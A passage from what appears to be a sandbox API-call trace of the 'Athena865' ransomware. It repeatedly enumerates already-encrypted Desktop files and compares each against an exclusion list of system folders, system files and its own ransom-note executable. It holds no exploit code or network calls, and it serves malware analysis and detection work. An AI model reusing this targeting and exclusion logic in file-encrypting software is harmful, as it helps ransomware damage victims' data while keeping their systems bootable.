lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.601] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.601] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2=".") returned 1 [0101.601] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="..") returned 1 [0101.601] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="windows") returned -1 [0101.601] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="bootmgr") returned -1 [0101.601] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="temp") returned -1 [0101.601] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="pagefile.sys") returned -1 [0101.601] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="boot") returned -1 [0101.601] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="ids.txt") returned -1 [0101.601] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="ntuser.dat") returned -1 [0101.601] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="perflogs") returned -1 [0101.601] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="MSBuild") returned -1 [0101.601] lstrlenW (lpString="0tnAHeA3v9Mw-E.gif.Athena865") returned 28 [0101.601] lstrcpyW (in: lpString1=0x241e8d2, lpString2="0tnAHeA3v9Mw-E.gif.Athena865" | out: lpString1="0tnAHeA3v9Mw-E.gif.Athena865") returned="0tnAHeA3v9Mw-E.gif.Athena865" [0101.601] lstrlenW (lpString="0tnAHeA3v9Mw-E.gif.Athena865") returned 28 [0101.601] lstrlenW (lpString="Athena865") returned 9 [0101.601] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.601] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a1cd60, ftCreationTime.dwHighDateTime=0x1d4d4c7, ftLastAccessTime.dwLowDateTime=0x4838df50, ftLastAccessTime.dwHighDateTime=0x1d4c9b4, ftLastWriteTime.dwLowDateTime=0xc6512ce0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6Rn0J_l.bmp.Athena865", cAlternateFileName="6RN0J_~1.ATH")) returned 1 [0101.601] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.601] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.601] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2=".") returned 1 [0101.601] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="..") returned 1 [0101.601] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="windows") returned -1 [0101.601] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="bootmgr") returned -1 [0101.601] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="temp") returned -1 [0101.601] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="pagefile.sys") returned -1 [0101.601] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="boot") returned -1 [0101.601] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="ids.txt") returned -1 [0101.601] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="ntuser.dat") returned -1 [0101.602] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="perflogs") returned -1 [0101.602] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="MSBuild") returned -1 [0101.602] lstrlenW (lpString="6Rn0J_l.bmp.Athena865") returned 21 [0101.602] lstrcpyW (in: lpString1=0x241e8d2, lpString2="6Rn0J_l.bmp.Athena865" | out: lpString1="6Rn0J_l.bmp.Athena865") returned="6Rn0J_l.bmp.Athena865" [0101.602] lstrlenW (lpString="6Rn0J_l.bmp.Athena865") returned 21 [0101.602] lstrlenW (lpString="Athena865") returned 9 [0101.602] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.602] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48f6c640, ftCreationTime.dwHighDateTime=0x1d4cb63, ftLastAccessTime.dwLowDateTime=0xcd95b810, ftLastAccessTime.dwHighDateTime=0x1d4cf33, ftLastWriteTime.dwLowDateTime=0xc6538e40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x11ff0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8Ua28ahOOat.jpg.Athena865", cAlternateFileName="8UA28A~1.ATH")) returned 1 [0101.602] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.602] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.602] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2=".") returned 1 [0101.602] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="..") returned 1 [0101.602] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="windows") returned -1 [0101.602] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="bootmgr") returned -1 [0101.602] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="temp") returned -1 [0101.602] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="pagefile.sys") returned -1 [0101.602] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="boot") returned -1 [0101.602] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="ids.txt") returned -1 [0101.602] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="ntuser.dat") returned -1 [0101.602] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="perflogs") returned -1 [0101.602] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="MSBuild") returned -1 [0101.602] lstrlenW (lpString="8Ua28ahOOat.jpg.Athena865") returned 25 [0101.602] lstrcpyW (in: lpString1=0x241e8d2, lpString2="8Ua28ahOOat.jpg.Athena865" | out: lpString1="8Ua28ahOOat.jpg.Athena865") returned="8Ua28ahOOat.jpg.Athena865" [0101.602] lstrlenW (lpString="8Ua28ahOOat.jpg.Athena865") returned 25 [0101.602] lstrlenW (lpString="Athena865") returned 9 [0101.602] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.602] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c136960, ftCreationTime.dwHighDateTime=0x1d4d285, ftLastAccessTime.dwLowDateTime=0x89d75d30, ftLastAccessTime.dwHighDateTime=0x1d4ca89, ftLastWriteTime.dwLowDateTime=0xc655efa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3cd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9jKc4GuOLdb.gif.Athena865", cAlternateFileName="9JKC4G~1.ATH")) returned 1 [0101.602] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.602] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.602] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2=".") returned 1 [0101.602] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="..") returned 1 [0101.603] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="windows") returned -1 [0101.603] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="bootmgr") returned -1 [0101.603] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="temp") returned -1 [0101.603] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="pagefile.sys") returned -1 [0101.603] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="boot") returned -1 [0101.603] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="ids.txt") returned -1 [0101.603] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="ntuser.dat") returned -1 [0101.603] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="perflogs") returned -1 [0101.603] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="MSBuild") returned -1 [0101.603] lstrlenW (lpString="9jKc4GuOLdb.gif.Athena865") returned 25 [0101.603] lstrcpyW (in: lpString1=0x241e8d2, lpString2="9jKc4GuOLdb.gif.Athena865" | out: lpString1="9jKc4GuOLdb.gif.Athena865") returned="9jKc4GuOLdb.gif.Athena865" [0101.603] lstrlenW (lpString="9jKc4GuOLdb.gif.Athena865") returned 25 [0101.603] lstrlenW (lpString="Athena865") returned 9 [0101.603] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.603] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3036ed30, ftCreationTime.dwHighDateTime=0x1d4c936, ftLastAccessTime.dwLowDateTime=0xd306db30, ftLastAccessTime.dwHighDateTime=0x1d4cb6e, ftLastWriteTime.dwLowDateTime=0xc6585100, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x18900, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A8s46zioVN.bmp.Athena865", cAlternateFileName="A8S46Z~1.ATH")) returned 1 [0101.603] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.603] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.603] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2=".") returned 1 [0101.603] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="..") returned 1 [0101.603] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="windows") returned -1 [0101.603] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="bootmgr") returned -1 [0101.603] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="temp") returned -1 [0101.603] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="pagefile.sys") returned -1 [0101.603] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="boot") returned -1 [0101.603] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="ids.txt") returned -1 [0101.603] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="ntuser.dat") returned -1 [0101.603] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="perflogs") returned -1 [0101.603] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="MSBuild") returned -1 [0101.603] lstrlenW (lpString="A8s46zioVN.bmp.Athena865") returned 24 [0101.603] lstrcpyW (in: lpString1=0x241e8d2, lpString2="A8s46zioVN.bmp.Athena865" | out: lpString1="A8s46zioVN.bmp.Athena865") returned="A8s46zioVN.bmp.Athena865" [0101.603] lstrlenW (lpString="A8s46zioVN.bmp.Athena865") returned 24 [0101.604] lstrlenW (lpString="Athena865") returned 9 [0101.604] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.604] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe10aff0, ftCreationTime.dwHighDateTime=0x1d4c6b2, ftLastAccessTime.dwLowDateTime=0x4a9835f0, ftLastAccessTime.dwHighDateTime=0x1d4d221, ftLastWriteTime.dwLowDateTime=0xc6585100, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bwco6yVtwvrspPp.bmp.Athena865", cAlternateFileName="BWCO6Y~1.ATH")) returned 1 [0101.604] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.604] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.604] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2=".") returned 1 [0101.604] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="..") returned 1 [0101.604] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="windows") returned -1 [0101.604] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="bootmgr") returned 1 [0101.604] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="temp") returned -1 [0101.604] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="pagefile.sys") returned -1 [0101.604] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="boot") returned 1 [0101.604] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="ids.txt") returned -1 [0101.604] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="ntuser.dat") returned -1 [0101.604] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="perflogs") returned -1 [0101.604] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="MSBuild") returned -1 [0101.604] lstrlenW (lpString="bwco6yVtwvrspPp.bmp.Athena865") returned 29 [0101.604] lstrcpyW (in: lpString1=0x241e8d2, lpString2="bwco6yVtwvrspPp.bmp.Athena865" | out: lpString1="bwco6yVtwvrspPp.bmp.Athena865") returned="bwco6yVtwvrspPp.bmp.Athena865" [0101.604] lstrlenW (lpString="bwco6yVtwvrspPp.bmp.Athena865") returned 29 [0101.604] lstrlenW (lpString="Athena865") returned 9 [0101.604] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.604] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe81fbcb0, ftCreationTime.dwHighDateTime=0x1d4d377, ftLastAccessTime.dwLowDateTime=0x91fae130, ftLastAccessTime.dwHighDateTime=0x1d4d58d, ftLastWriteTime.dwLowDateTime=0xc65d13c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CDOyMLO_YVxau.jpg.Athena865", cAlternateFileName="CDOYML~1.ATH")) returned 1 [0101.604] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.604] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.604] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2=".") returned 1 [0101.604] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="..") returned 1 [0101.604] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="windows") returned -1 [0101.604] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="bootmgr") returned 1 [0101.604] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="temp") returned -1 [0101.604] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="pagefile.sys") returned -1 [0101.604] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="boot") returned 1 [0101.605] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="ids.txt") returned -1 [0101.605] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="ntuser.dat") returned -1 [0101.605] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="perflogs") returned -1 [0101.605] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="MSBuild") returned -1 [0101.605] lstrlenW (lpString="CDOyMLO_YVxau.jpg.Athena865") returned 27 [0101.605] lstrcpyW (in: lpString1=0x241e8d2, lpString2="CDOyMLO_YVxau.jpg.Athena865" | out: lpString1="CDOyMLO_YVxau.jpg.Athena865") returned="CDOyMLO_YVxau.jpg.Athena865" [0101.605] lstrlenW (lpString="CDOyMLO_YVxau.jpg.Athena865") returned 27 [0101.605] lstrlenW (lpString="Athena865") returned 9 [0101.605] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.605] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0101.605] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.605] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.605] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0101.605] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0101.605] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0101.605] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0101.605] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0101.605] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0101.605] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0101.605] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0101.605] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0101.605] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0101.605] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0101.605] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0101.605] lstrcpyW (in: lpString1=0x241e8d2, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0101.605] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0101.605] lstrlenW (lpString="Athena865") returned 9 [0101.605] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.605] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa57dbe00, ftCreationTime.dwHighDateTime=0x1d4ce6f, ftLastAccessTime.dwLowDateTime=0x3e40ad30, ftLastAccessTime.dwHighDateTime=0x1d4cba7, ftLastWriteTime.dwLowDateTime=0xc65f7520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6610, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DxZ89tQr5hB.jpg.Athena865", cAlternateFileName="DXZ89T~1.ATH")) returned 1 [0101.605] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.606] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.606] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2=".") returned 1 [0101.606] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="..") returned 1 [0101.606] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="windows") returned -1 [0101.606] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="bootmgr") returned 1 [0101.606] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="temp") returned -1 [0101.606] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="pagefile.sys") returned -1 [0101.606] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="boot") returned 1 [0101.606] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="ids.txt") returned -1 [0101.606] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="ntuser.dat") returned -1 [0101.606] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="perflogs") returned -1 [0101.606] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="MSBuild") returned -1 [0101.606] lstrlenW (lpString="DxZ89tQr5hB.jpg.Athena865") returned 25 [0101.606] lstrcpyW (in: lpString1=0x241e8d2, lpString2="DxZ89tQr5hB.jpg.Athena865" | out: lpString1="DxZ89tQr5hB.jpg.Athena865") returned="DxZ89tQr5hB.jpg.Athena865" [0101.606] lstrlenW (lpString="DxZ89tQr5hB.jpg.Athena865") returned 25 [0101.606] lstrlenW (lpString="Athena865") returned 9 [0101.606] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.606] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd06ca5c0, ftCreationTime.dwHighDateTime=0x1d4d4d9, ftLastAccessTime.dwLowDateTime=0x1c1f2880, ftLastAccessTime.dwHighDateTime=0x1d4d106, ftLastWriteTime.dwLowDateTime=0xc65f7520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2d20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F7QVJPbfkQM.gif.Athena865", cAlternateFileName="F7QVJP~1.ATH")) returned 1 [0101.606] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.606] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.606] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2=".") returned 1 [0101.606] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="..") returned 1 [0101.606] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="windows") returned -1 [0101.606] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="bootmgr") returned 1 [0101.606] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="temp") returned -1 [0101.606] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="pagefile.sys") returned -1 [0101.606] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="boot") returned 1 [0101.606] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="ids.txt") returned -1 [0101.606] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="ntuser.dat") returned -1 [0101.606] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="perflogs") returned -1 [0101.606] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="MSBuild") returned -1 [0101.607] lstrlenW (lpString="F7QVJPbfkQM.gif.Athena865") returned 25 [0101.607] lstrcpyW (in: lpString1=0x241e8d2, lpString2="F7QVJPbfkQM.gif.Athena865" | out: lpString1="F7QVJPbfkQM.gif.Athena865") returned="F7QVJPbfkQM.gif.Athena865" [0101.607] lstrlenW (lpString="F7QVJPbfkQM.gif.Athena865") returned 25 [0101.607] lstrlenW (lpString="Athena865") returned 9 [0101.607] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.607] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4799f260, ftCreationTime.dwHighDateTime=0x1d4cb84, ftLastAccessTime.dwLowDateTime=0x5f371900, ftLastAccessTime.dwHighDateTime=0x1d4cd93, ftLastWriteTime.dwLowDateTime=0xc661d680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4e30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gMvYXH18Yeul8hy7kd.jpg.Athena865", cAlternateFileName="GMVYXH~1.ATH")) returned 1 [0101.607] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.607] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.607] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2=".") returned 1 [0101.607] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="..") returned 1 [0101.607] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="windows") returned -1 [0101.607] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="bootmgr") returned 1 [0101.607] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="temp") returned -1 [0101.607] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="pagefile.sys") returned -1 [0101.607] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="boot") returned 1 [0101.607] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="ids.txt") returned -1 [0101.607] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="ntuser.dat") returned -1 [0101.607] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="perflogs") returned -1 [0101.607] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="MSBuild") returned -1 [0101.607] lstrlenW (lpString="gMvYXH18Yeul8hy7kd.jpg.Athena865") returned 32 [0101.607] lstrcpyW (in: lpString1=0x241e8d2, lpString2="gMvYXH18Yeul8hy7kd.jpg.Athena865" | out: lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865") returned="gMvYXH18Yeul8hy7kd.jpg.Athena865" [0101.607] lstrlenW (lpString="gMvYXH18Yeul8hy7kd.jpg.Athena865") returned 32 [0101.607] lstrlenW (lpString="Athena865") returned 9 [0101.607] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0101.607] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39cd3640, ftCreationTime.dwHighDateTime=0x1d4d225, ftLastAccessTime.dwLowDateTime=0x6a2f8f80, ftLastAccessTime.dwHighDateTime=0x1d4c57e, ftLastWriteTime.dwLowDateTime=0xc661d680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xc0f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hhvAWIyB-LHiXo.png.Athena865", cAlternateFileName="HHVAWI~1.ATH")) returned 1 [0101.607] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.607] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.607] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", 